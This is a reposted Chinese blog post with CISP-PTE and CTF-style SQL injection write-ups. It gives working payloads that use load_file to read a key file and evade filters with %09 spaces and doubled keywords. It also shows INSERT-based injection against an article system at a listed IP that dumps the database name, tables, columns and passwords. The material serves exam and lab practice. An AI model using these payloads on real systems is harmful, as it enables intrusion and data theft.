SQL注入

发布时间:2024年01月23日

例一、基础SQL注入:load_file读文件

CISP-PTE 认证考试

首先是有单引号和括号的,首要是要闭合,然后回显点是在-1的位置,读取文件上面的key的话使用的是load_file('/tmp/360/key')

id=-1')%09ununionion%09select%091,2,3,load_file('/tmp/360/key')#

首先闭合,然后%09绕过空格,双写绕过关键字,load_file('/tmp/360/key')下载文件

例二、burp爆破过滤的关键字

在网站里面直接开burp进行爆破,看过滤的关键字????????????????

参数是 wllm

burp爆破

加上union联合注入

key如果显示的不全,可以使用切割函数一部分一部分显示,最后拼接提交即可

例三、SQL注入:文章发布系统

http://49.232.193.10:81/start/post.php

进入主页之后,首先尝试万能密码登录,由于无法登陆,接着尝试注册用户,然后发布文章,该页面对文章的内容有一定的过滤

// 代码过滤规则

while (strstr($sql,'--')) {
	$sql = str_replace("--", "", $sql);
}

while (strstr($sql,'#')) {
	$sql = str_replace("#", "", $sql);
}

然后会在页面的下面回显内容如下,其中第2~4位为文章题目、文章内容、作者

insert article1 value('3506C3EA-7F34-28C6-E467-BD2645DA5E1A','1','1','1234rfv')

并有回显点——“成功” 字样

解题思路

1、让value通过 ')提前闭合(文章内容处),注意必须保证每一条都是四项内容
2、由于文章是使用插入一条数据的值,value(标题,内容,用户名)到数据库,可以同时插入两条内容:(标题,内容,用户名),(标题,内容,用户名)—— 使得第一条闭合,然后在第二条里面插入自己想要的语句

3、最后通过查看文章发表页面获得回显的内容

首先将它变为两条语句:第一条是正常的文章发表语句,第二条是要获得回显的语句
1','1234rfv'),('123456','2','3  

查询数据库名
1','1234rfv'),('1',database(),'select version() 

union联合查询数据库下的表名
1','1234rfv'),('1',(select group_concat(table_name) from information_schema.tables where table_schema='2web'),'3

查询列名
1','1234rfv'),('1',(select group_concat(column_name) from information_schema.columns where table_name='users1'),'3

查询字段
1','1234rfv'),('1',(select password from users1 limit 0,1),'3

最后依次使用 limit(0,1)、limit(1,1)、limit(2,1)、limit(3,1) 切割查看所有的字段,结果均为:81dc9bdb52d04dc20036dbd8313ed055 —— 此处为flag

或者使用burp依次遍历??????????????????????

例四、

文章来源:https://blog.csdn.net/weixin_72324806/article/details/135766971
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。